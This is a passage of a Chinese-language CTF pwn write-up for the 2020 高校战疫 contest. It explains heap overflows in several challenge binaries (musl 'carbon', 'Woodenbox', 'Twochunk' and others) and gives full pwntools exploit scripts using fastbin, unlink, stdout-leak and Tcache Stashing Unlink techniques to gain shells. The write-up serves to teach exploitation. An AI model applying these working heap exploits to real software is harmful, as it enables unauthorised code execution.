delete函数则将buf[index]中存储的堆块释放掉。puts函数则是将buf[index]即用户的输入输出。
edit函数则按照0x603260位置处存储的长度重新读取用户输入的数据。这里就出现问题了,因为0x603260中存储的是用户输入到bbs段中的数据最大为0x200字节,而我们申请的堆块的大小可以小于0x200,因此造成了堆溢出。
利用 
申请一块unsorted bin并释放,利用堆溢出或者UAF泄露libc基址 
利用堆溢出修改fastbin fd指针,fastbin attack配合unsorted bin attack申请堆块到free_hook附近位置,覆盖free_hook指针为setcontext+53的地址 
利用setcontext重新获取控制流,调用mprotect将写入shellcode的堆块关闭不可执行保护,执行shellcode。 
 
setcontext函数是用来设置用户上下文的,当我们可以小范围的控制执行流,并且知道libc基址的时候可以利用setcontext+53扩大控制范围。int setcontext(const ucontext_t *ucp);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0] <setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80] <setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78] <setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48] <setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50] <setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58] <setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60] <setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8] <setcontext+94>:  push   rcx <setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70] <setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88] <setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98] <setcontext+113>: mov    r8,QWORD PTR [rdi+0x28] <setcontext+117>: mov    r9,QWORD PTR [rdi+0x30] <setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68] <setcontext+125>: xor    eax,eax <setcontext+127>: ret     
可以直接使用pwntools中的SigreturnFrame来构造ucontext_t结构体
1 2 3 4 5 6 frame = SigreturnFrame() frame.rip = libc.sym['mprotect' ] frame.rsp = shellcode_address frame.rdi = shellcode_address & 0xfffffffffffff000  frame.rsi = 0x1000  frame.rdx = 7  
rip是执行完setcontext之后需要执行的指令地址,rsp则是执行完rip指令之后再次执行的指令地址,即可以连续控制。
可以利用此调用mprotect关闭不可执行保护之后跳转到shellcode地址去执行。也可以直接构造rop链
 
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from  pwn import  *file_path = "./pwn"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     gdb.attach(p, "b*0x4022F7" )     libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  add (length, content ):    p.sendlineafter(">> " , "1" )     p.sendlineafter("______?\n" , str (length))     p.sendafter("yes_or_no?\n" , content) def  delete (index ):    p.sendlineafter(">> " , "2" )     p.sendlineafter("index ?\n" , str (index)) def  show (index ):    p.sendlineafter(">> " , "3" )     p.sendlineafter("index ?\n" , str (index)) def  edit (index, content ):    p.sendlineafter(">> " , "4" )     p.sendlineafter("index ?\n" , str (index))     p.sendafter("new_content ?\n" , content) def  shut ():    p.sendlineafter(">> " , "5" ) name = "1212"  p.sendlineafter("is your name?" , name) add(0x40 , "\x90" *0x200 ) add(0x100 , "\x90" *0x200 ) add(0x68 , "\x90" *0x200 ) delete(1 ) delete(2 ) edit(0 , "a" *0x48 +"b" *0x8 ) show(0 ) p.recvuntil("b" *0x8 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 88  - libc.sym['__malloc_hook' ] - 0x10  main_arena_address = libc.sym['__malloc_hook' ]+0x10  free_hook_address = libc.sym['__free_hook' ] log.success("lib address {}" .format (hex (libc.address))) payload = b'a' *0x48  + p64(0x111 ) payload +=  p64(main_arena_address + 88 )+ p64(free_hook_address - 0x40 ) payload += b'a' *0xf8  + p64(0x71 ) + p64(free_hook_address - 0x33 ) shellcode_address = 0x603060 +0x100  shellcode = shellcraft.open ("./flag" ) shellcode += shellcraft.read("rax" , "rsp" , 0x100 ) shellcode += shellcraft.write(1 , "rsp" , 0x100 ) edit(0 , payload) add(0x100 , "\x90" *0x200 ) add(0x68 , "\x90" *0x200 ) add(0x68 , b"\x90" *0x100  + (p64(shellcode_address+0x8 ) + asm(shellcode)).ljust(0x100 , b"\x90" )) edit(3 , p64(0 )*4  + b"\x00" *3  + p64(libc.sym['setcontext' ] + 53 )) frame = SigreturnFrame() frame.rip = libc.sym['mprotect' ] frame.rsp = shellcode_address frame.rdi = shellcode_address & 0xfffffffffffff000  frame.rsi = 0x1000  frame.rdx = 7  edit(2 , bytes (frame)) delete(2 ) p.interactive() 
Musl 分析 这道题目的libc库时musl libc 1.1.24。程序共提供了四种方法add,delete,edit,show,其中add函数中可以堆溢出一次,show函数只能调用一次。
musl的libc是简化版的glibc,其chunk的数据结构与glibc chunk类似,但是没有fastbin这些操作,相同大小的chunk通过一个双向链表链接起来。申请和释放chunk的时候没有进行安全检查,只要是fd,bk指针指向合法的内存就可以。
利用 
首先,由于chunk是通过双向链表进行连接的,因此释放再申请时,堆块中就残留有libc的地址数据,据此可以泄露出libc的基址。而mmap的第一个参数为0的时候,其映射的地址空间并不是随机的而是和libc基址有着固定的偏移
因此我们也可以得到mmap的地址
由于我们可以控制fd,bk指针,因此可以直接将堆块分配到mmap地址处
1 2 c->prev->next = c->next; c->next->prev = c->prev; 
将prev即fd指针设置为mmap_address+8,那么在对堆块进行unbin的时候,就会将mmap_address+0x20的位置写入binmap的值,而binmap.prev的值会被改写为mmap_address+8,这样我们再次申请一块相同大小的chunk的时候,就会将mmap_address+0x8代表的堆块分配出来。此时的fd,bk指针分别为mmap_address+0x18,mmap_address+0x20,两个内存地址都是可写的,因此没有问题。
此时我们就获得了mmap_address内存区域的任意写权限,可以通过environ泄露stack地址,改写返回地址为rop链getshell。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 # encoding=utf-8 from pwn import * file_path = "./carbon"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path], env={"LD_PRELOAD" : "./libc.so" })     gdb.attach(p, "b *0x401090" )     libc = ELF('./libc.so' )     one_gadget = 0x0  else :    p = remote('', 0)      libc = ELF(' ')     one_gadget = 0x0 def add(length, content, choice="n"):     p.sendlineafter("> ", "1")     p.sendlineafter("size? >", str(length))     p.sendlineafter("a believer? >", choice)     p.sendafter("new sleeve >", content) def delete(index):     p.sendlineafter("> ", "2")     p.sendlineafter("sleeve ID? >", str(index)) def edit(index, content):     p.sendlineafter("> ", "3")     p.sendlineafter("sleeve ID? >", str(index))     p.send(content) def show(index):     p.sendlineafter("> ", "4")     p.sendlineafter("sleeve ID? >", str(index)) def shut():     p.sendlineafter("> ", "5") add(0x1, ' a' )show(0 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x292e61  mmap_address = libc.address + 0x290000  log .success("libc address {}" .format(hex(libc.address)))add(0x40 , 'a' *0x40 )#1  add(0x10 , 'a' *0x10 ) add(0x30 , 'a' *0x30 )#3  add(0x10 , 'a' *0x10 ) add(0x30 , 'a' *0x30 )#5  add(0x10 , 'a' *0x10 )#6  delete(3 ) delete(5 ) delete(1 ) add(0x40 , b' a' *0x70  + p64(0x21 ) + p64(0x40 )+ p64(mmap_address+8 )[:6 ]+b"\n" , 'Y' )# 1  add(0x30 , "a" *0x30 ) # 3  add(0x30 , p64(0x602034 ) + p64(0x30 ) + p64(libc.sym['__environ' ])+b"\n" ) #5  edit(1 , p32(0 )+b"\n" ) show(2 ) stack_address = u64(p.recvuntil("Done" , drop=True).ljust(8 , b"\x00" )) log .success("stack address {}" .format(hex(stack_address)))ret_address = stack_address - 0x70  edit(5 , p64(0x602034 ) + p64(0x80 ) + p64(ret_address) + b' \n' ) p_rdi_r = libc.address + 0x14862  get_shell = flat([     p_rdi_r,     libc.search(b"/bin/sh" ).__next__(),     libc.sym['system' ] ]) edit(2 , get_shell+b"\n" ) p.interactive() 
Shortest_path flag被加载到了两个位置,一个是全局变量处,一个是top chunk的堆地址处
持续不断地分配chunk,使得flag落到name字段的位置就可以输出flag了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from  pwn import  *file_path = "./Shortest_path"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     gdb.attach(p, "b*0x401475" )     libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  add (index, price, length, name, connected=0  ):    p.sendlineafter("options ---> " , "1" )     p.sendlineafter("Station ID: " , str (index))     p.sendlineafter("Station Price: " , str (price))     p.sendlineafter("Station Name Length: " , str (length))     p.sendlineafter("Station Name: \n" , name)     p.sendlineafter("connected station: " , str (connected)) def  qurey_station (index ):    p.sendlineafter("options ---> " , "3" )     p.sendlineafter("Station ID: " , str (index)) add(0 , 0x0 , 0xd7 , "a" *8 )  add(1 , 0x0 , 0xd7 , "a" *8 )  add(2 , 0x0 , 0xd7 , "a" *0xf )  qurey_station(2 ) p.interactive() 
Woodenbox 分析 程序存在明显的堆溢出漏洞,并且退出时执行的是double free,这很明显是要写入one_gadget。需要注意的是程序没有输出,而且每次删除堆块之后链表都会向前移动一位,即buf_list[0]会消失。
利用 
首先申请一个较大的unsorted bin并释放使得堆块中残留有mainarena+88的地址,依次使用两个fastbin堆块申请,那么最后一个申请的fastbin中就会存在mainarena+88的地址数据,我们将其低两位覆写为stderr+157地址的低两位\x65\xdd,(这里需要爆破16bit)
此时我们申请fastbin堆块并释放,利用堆溢出将fastbin->fd指针的低1字节改写为保存有stderr+157地址的fasbin堆块地址形成下列结构
那么此时我们连续申请三个fastbin堆块,就可以将stderr+157处伪造的堆块申请到,进而可以控制stdout结构体
修改stdout结构体的flag和io_wite_base泄露stdout结构体附近地址,得到libc基址
再次利用fastbin attack将malloc_hook改写为one_gadget地址,getshell
 
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 # encoding=utf-8 from pwn import * file_path = "./woodenbox2"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     gdb.attach(p, 'b *0x555555555041' )     libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6' )     one_gadget = 0xcb7c5  else :    p = remote('', 0)      libc = ELF(' ')     one_gadget = 0x0 def add(length, content="12"):     p.sendlineafter("Your choice:", "1")     p.sendlineafter("length of item name:", str(length))     p.sendafter("name of item:", content) def change(index, length, content):     p.sendlineafter("Your choice:", "2")     p.sendlineafter("the index of item:", str(index))     p.sendlineafter("the length of item name:", str(length))     p.sendafter("new name of the item:", content) def remove(index):     p.sendlineafter("Your choice:", "3")     p.sendlineafter("the index of item:", str(index)) def double_free():     p.sendlineafter("Your choice:", "4") add(0x60)  # 0 add(0x60) add(0x90) add(0x60)  # 4 remove(2) add(0x20)  # 1 add(0x60, "\xdd\x65")  # 4 add(0x60) add(0x60) remove(4) remove(4) change(0, 0x300, cyclic(0x68) + p64(0x71) + cyclic(0x68) + p64(0x71) + b"\x10") add(0x60) add(0x60) add(0x60, b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00") p.recv(0x40) libc.address = u64(p.recv(6).ljust(8, b"\x00")) + 0x20 - libc.sym[' _IO_2_1_stdout_' ]log .success("libc address {}" .format(hex(libc.address)))add(0x60 ) remove(1 ) change(2 , 0x10 , p64(libc.sym['__malloc_hook' ]-0x23 )) add(0x60 ) add(0x60 , b"\x00" *3  + p64(0 )*2  + p64(one_gadget + libc.address)) double_free() p.interactive() 
Twochunk 分析 首先我们先分析一下程序,首先在0x23333000地址处mmap了一块内存的地址,并提供了七种操作。
add函数中,根据用户的输入分配相应大小的内存,但是我们最多可以保存分配得到的两个堆块指针,若用户输入的大小为23333则调用malloc分配固定的0xe9大小,否则调用calloc分配用户申请的大小。
edit函数中,我们注意到其可以进行0x20字节大小的溢出,并且如果用户输入的是23333则可以进行大范围的堆溢出。
有一次malloc(0x88)的机会,能够对mmap_address中指定的地址进行函数调用
利用 只要我们可以将mmap_address处改写为system地址,mmap_address+0x30处改写为/bin/sh\x00的地址就可以getshell。但是mmap_address处的内容是程序一开始就需要输入的,因此我们需要将chunk分配到mmap_address处。这就需要利用Tcache Stashing Unlink。
在small bin中构造两个0x90大小的chunk。构造两个small bin chunk可以首先构造两个相对较大的unsorted bin,之后经过两次分配,分割剩余的0x90进入small bin中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 add(0 , 0xe9 )  add(1 , 0x130 ) delete(0 ) add(0 , 0x100 ) delete(0 ) add(0 , 0x130 ) delete(1 )  add(1 , 0x140 ) delete(1 ) add(1 , 0xe9 ) delete(0 )  delete(1 ) add(0 , 0xa8 ) add(1 , 0xa8 ) delete(0 ) delete(1 ) add(0 , 0x150 ) 
使用malloc申请一块0x100的tcache,此时可以泄露堆地址
覆写chunk1的bk指针为mmap_address-0x10,calloc(0x88)即可将mmap_address加入tcache,此时可以泄露libc基址
调用leave_end_message使用malloc(0x88)即可以分配到mmap_address,布局system函数和参数,getshell
 
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from  pwn import  *file_path = "./twochunk"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  add (index, size ):    p.sendlineafter("choice: " , "1" )     p.sendlineafter("idx: " , str (index))     p.sendlineafter("size: " , str (size)) def  delete (index ):    p.sendlineafter("choice: " , "2" )     p.sendlineafter("idx: " , str (index)) def  show (index ):    p.sendlineafter("choice: " , "3" )     p.sendlineafter("idx: " , str (index)) def  edit (index, content ):    p.sendlineafter("choice: " , "4" )     p.sendlineafter("idx: " , str (index))     p.sendafter("content: " , content) def  show_message_name ():    p.sendlineafter("choice: " , "5" ) def  leave_end_message (content ):    p.sendlineafter("choice: " , "6" )     p.sendafter("end message: " , content) def  call_mmap ():    p.sendlineafter("choice: " , "7" ) mmap_address = 0x23333000  name = p64(mmap_address + 0x30  - 0x10 )*6  message = p64(mmap_address)*6  p.sendafter("your name: " , name) p.sendafter("your message: " , message) for  i in  range (5 ):    add(0 , 0x88 )     delete(0 ) for  i in  range (7 ):    add(0 , 0x130 )     delete(0 ) for  i in  range (6 ):    add(0 , 0xe9 )     delete(0 ) gdb.attach(p, "b *0x55555555596E" ) add(0 , 0xe9 ) add(1 , 0x130 ) delete(0 ) add(0 , 0x100 ) delete(0 ) add(0 , 0x130 ) delete(1 ) add(1 , 0x140 )  delete(1 ) add(1 , 0xe9 )  delete(0 )  delete(1 ) add(0 , 0xa8 ) add(1 , 0xa8 ) delete(0 ) delete(1 ) add(0 , 0x150 ) add(1 , 23333 ) show(1 ) heap_address = u64(p.recv(6 ).ljust(8 , b"\x00" )) + 0x100  log.success("heap address {}" .format (hex (heap_address))) payload = cyclic(0xf8 ) + p64(0xb1 ) + cyclic(0xa8 ) payload += p64(0x91 ) + p64(heap_address + 0x3f0 ) +p64(mmap_address-0x10 ) edit(1 , payload) delete(0 ) add(0 , 0x88 ) show_message_name() p.recvuntil("message: " ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 224  - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address {}" .format (hex (libc.address))) payload = p64(libc.sym['system' ]).ljust(0x30 , b"\x00" ) payload += p64(mmap_address + 0x48 ) + p64(0 )*2  + b"/bin/sh\x00"  leave_end_message(payload) call_mmap() p.interactive() 
参考 高校战“疫”网络安全分享赛-部分PWN题-wp 
从高校战疫的两道kernel学习kernel 
Unicorn 在 Android 的应用 
easy_unicorn基于unicorn的“沙盒逃逸” 
unicorn沙箱下的pwn 
高校战“疫”网络安全分享赛 2020 SU Write Up